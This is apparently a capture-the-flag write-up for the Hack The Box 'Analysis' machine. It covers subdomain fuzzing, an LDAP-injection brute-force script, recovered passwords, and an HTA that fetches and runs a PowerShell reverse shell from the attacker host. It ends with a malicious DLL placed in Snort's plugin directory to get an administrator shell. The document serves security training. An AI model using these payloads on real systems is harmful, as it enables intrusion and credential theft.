Analysis is a Windows machine running Active Directory. An internal subdomain hosts a webpage vulnerable to LDAP injection, which can be exploited to brute force LDAP attributes, revealing a password in the description field of the technician user. These credentials grant access to the analysis dashboard, where uploading an HTA file enables command execution and results in a shell. Additional credentials for the jdoe user can be discovered in a log file on the web server, allowing for a WinRM shell. Further enumeration shows that Snort is running on the system; by uploading a custom DLL to the dynamicpreprocessor directory, it’s possible to execute code with the privileges of the Snort service—in this case, the administrator.
nmap scan:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.250
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-12 15:18 EDT
Nmap scan report for analysis.htb (10.10.11.250)
Host is up (0.053s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
| http-server-header:
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-12 18:30:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -47m26s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-12T18:30:57
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.24 secondsAfter adding analysis.htb and DC-ANALYSIS.analysis.htb to /etc/hosts, I visited the webpage running on port 80:
There wasn’t much to go off of on the webpage, so I used ffuf to enumerate subdomains and found the internal subdomain:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.250 -H "Host: FUZZ.analysis.htb"
<...snip...>
internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 56ms]
:: Progress: [4989/4989] :: Job [1/1] :: 415 req/sec :: Duration: [0:00:13] :: Errors: 0 ::I added internal.analysis.htb to /etc/hosts and visited the page, which resulted in a 403:
Next, I enumerated subdirectories for internal.analysis.htb:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/FUZZ
<...snip...>
dashboard [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 51ms]
employees [Status: 301, Size: 174, Words: 9, Lines: 2, Duration: 67ms]
users [Status: 301, Size: 170, Words: 9, Lines: 2, Duration: 61ms]
:: Progress: [4734/4734] :: Job [1/1] :: 732 req/sec :: Duration: [0:00:06] :: Errors: 0 ::Attempting to visit /dashboard resulted in another 403:
Visiting both /employees and /users resulted in a 404:
Since the server was running IIS, the site was potentially using PHP, so I enumerated pages in /dashboard with the .php extension:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://internal.analysis.htb/dashboard/FUZZ.php
<...snip...>
Index [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 83ms]
details [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 61ms]
emergency [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 73ms]
form [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 88ms]
index [Status: 200, Size: 38, Words: 3, Lines: 5, Duration: 63ms]
logout [Status: 302, Size: 3, Words: 1, Lines: 1, Duration: 76ms]
tickets [Status: 200, Size: 35, Words: 3, Lines: 5, Duration: 48ms]
upload [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
:: Progress: [4734/4734] :: Job [1/1] :: 403 req/sec :: Duration: [0:00:11] :: Errors: 0 ::All of the pages were blank due to authentication being required, except for one. Visiting /dashboard/logout.php redirected to /employees/login.php:
I didn't have any credentials and SQL injection didn't seem to work on the form, so next I visited /users which showed a "missing parameter" message:
Fuzzing parameter names using ffuf revealed the name parameter:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://internal.analysis.htb/users/list.php?FUZZ=test -fs 17
<...snip...>
name [Status: 200, Size: 406, Words: 11, Lines: 1, Duration: 61ms]
:: Progress: [6453/6453] :: Job [1/1] :: 763 req/sec :: Duration: [0:00:08] :: Errors: 0 ::Visiting /users?name=test showed a table for listing various user information:
Using the wildcard character (*) listed one of the users:
The site was most likely pulling user information from LDAP, so I tested for LDAP injection with the following value:
technician)(givenName=technicianAs shown above, the username was returned without an error (in this case, "CONTACT_" in the Username field would indicate an error), confirming the page was vulnerable to LDAP injection. Using the following Python script, I was able to brute force the values of LDAP fields:
#!/usr/bin/python3
import requests
import string
import sys
TARGET_HOST = "internal.analysis.htb"
BASE_URL = f"http://{TARGET_HOST}/users/list.php"
HEADERS = {"Host": TARGET_HOST}
ALPHABET = (
string.ascii_letters +
string.digits +
''.join(c for c in string.punctuation if c not in ("(", ")", "#", "&"))
)
def is_valid_character(username: str, attribute: str, test_value: str) -> bool:
payload = f"{username})({attribute}={test_value}*"
params = {"name": payload}
response = requests.get(BASE_URL, headers=HEADERS, params=params)
return "CONTACT_" not in response.text
def brute_force_attribute(username: str, attribute: str) -> str:
value = ""
while True:
for char in ALPHABET:
candidate = value + char
sys.stdout.write(f"\r{attribute}: {candidate}")
sys.stdout.flush()
if is_valid_character(username, attribute, candidate):
value = candidate
break
else:
break
if value.endswith("**"):
break
return value.rstrip("*")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <username> <ldap_field>")
sys.exit(1)
username_input = sys.argv[1]
field_input = sys.argv[2]
final_value = brute_force_attribute(username_input, field_input)
print(f"\n[+] Final {field_input}: {final_value}")The password for technician was stored in the user's description:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ python3 script.py technician description
description: 97NTtl*4QP96Bv**
[+] Final description: 97NTtl*4QP96BvI used the credentials to log in to the internal panel:
This provided access to the dashboard:
The tickets page contained submitted tickets by employees regarding various IT related issues:
The details for one of the tickets mentions an issue with HTA files:
The SOC report page allows users to upload files to be analyzed by the SOC:
So based on the fact that an HTA was already mentioned in one of the tickets, I used msfvenom to generate a malicious HTA to upload to the form:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f hta-psh > test.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7793 bytesI started a listener with nc and uploaded test.hta. A message was shown saying that the file was not safe and I didn't receive a shell on the listener:
To attempt to bypass security restrictions, I wrote an HTA file that uses IEX to execute a PowerShell script containing a reverse shell one-liner, which is fetched from a local web server:
shell.hta
<script language="VBScript">
Dim objShell
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.53:8000/reverse.ps1')", 0
self.close
</script>reverse.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.53',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()I started a Python web server and a listener with nc. Then, I uploaded shell.hta which bypassed security restrictions:
nc caught a shell as svc_web:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51555
PS C:\inetpub\internal\dashboard> whoami
analysis\svc_webAfter enumerating the web server, I found credentials for the jdoe user within a log file:
PS C:\inetpub\logs\LogFiles\W3SVC2> ls
R?pertoire?: C:\inetpub\logs\LogFiles\W3SVC2
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/06/2025 21:19 2607209 u_ncsa1.log
PS C:\inetpub\logs\LogFiles\W3SVC2> cat u_ncsa1.log
<...snip...>
127.0.0.1 - - [12/Jun/2025:21:16:25 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
<...snip...>The creds were valid over WinRM:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
WINRM 10.10.11.250 5985 DC-ANALYSIS [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
WINRM 10.10.11.250 5985 DC-ANALYSIS [+] analysis.htb\jdoe:7y4Z4^*y9Zzj (Pwn3d!)evil-winrm shell as jdoe:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
analysis\jdoe
*Evil-WinRM* PS C:\Users\jdoe\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\jdoe\desktop> ls
Directory: C:\Users\jdoe\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/12/2025 8:29 PM 34 user.txtFurther enumeration revealed that Snort was installed on the machine:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/12/2023 10:01 AM inetpub
d----- 11/5/2022 8:14 PM PerfLogs
d----- 5/8/2023 10:20 AM PHP
d----- 7/9/2023 10:54 AM private
d-r--- 11/18/2023 9:56 AM Program Files
d----- 5/8/2023 10:11 AM Program Files (x86)
d----- 7/9/2023 10:57 AM Snort
d-r--- 5/26/2023 2:20 PM Users
d----- 1/10/2024 3:52 PM Windows
-a---- 6/12/2025 9:26 PM 294556 snortlog.txtsnortlog.txt was getting updated every two minutes, which indicated that Snort was actively running:
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
<...snip...>
-a---- 6/12/2025 9:26 PM 294556 snortlog.txt
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
<...snip...>
-a---- 6/12/2025 9:28 PM 294810 snortlog.txtI confirmed this with get-process:
*Evil-WinRM* PS C:\> get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
<...snip...>
162 18 62664 46644 904 0 snort
<...snip...>Snort supports dynamic modules, which are loaded as DLLs from a configured dynamicpreprocessor directory at startup. This can be exploited by placing a malicious DLL—such as one containing a reverse shell payload—into that directory. When Snort starts, it will automatically load and execute the DLL with the privileges of the Snort service, enabling arbitrary code execution.
To identify the location of this directory, I checked snort.conf:
*Evil-WinRM* PS C:\Snort\etc> ls
Directory: C:\Snort\etc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/20/2022 4:15 PM 3757 classification.config
-a---- 4/20/2022 4:15 PM 23654 file_magic.conf
-a---- 4/20/2022 4:15 PM 33339 gen-msg.map
-a---- 4/20/2022 4:15 PM 687 reference.config
-a---- 7/8/2023 9:34 PM 23094 snort.conf
-a---- 4/20/2022 4:15 PM 2335 threshold.conf
-a---- 4/20/2022 4:15 PM 160606 unicode.map
*Evil-WinRM* PS C:\Snort\etc> findstr dynamicpreprocessor snort.conf
dynamicpreprocessor directory C:\Snort\lib\snort_dynamicpreprocessorRegular users have write access to this directory:
*Evil-WinRM* PS C:\Snort\lib> icacls snort_dynamicpreprocessor
snort_dynamicpreprocessor AUTORITE NT\SystŠme:(I)(OI)(CI)(F)
BUILTIN\Administrateurs:(I)(OI)(CI)(F)
BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
BUILTIN\Utilisateurs:(I)(CI)(AD)
BUILTIN\Utilisateurs:(I)(CI)(WD)
CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 filesI generated a reverse shell DLL using msfvenom:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.53 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dllI then started a listener with nc and uploaded the DLL:
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> upload shell.dll
Info: Uploading /home/kali/Desktop/HTB/Analysis/shell.dll to C:\Snort\lib\snort_dynamicpreprocessor\shell.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!After about a minute, nc caught a shell as administrateur:
┌──(kali㉿kali)-[~/Desktop/HTB/Analysis]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.11.250] 51554
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
analysis\administrateur
C:\Windows\system32>cd \users\administrateur\desktop
cd \users\administrateur\desktop
C:\Users\Administrateur\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0071-E237
Directory of C:\Users\Administrateur\Desktop
01/10/2024 11:41 AM <DIR> .
01/10/2024 11:41 AM <DIR> ..
06/12/2025 08:29 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 4,131,143,680 bytes free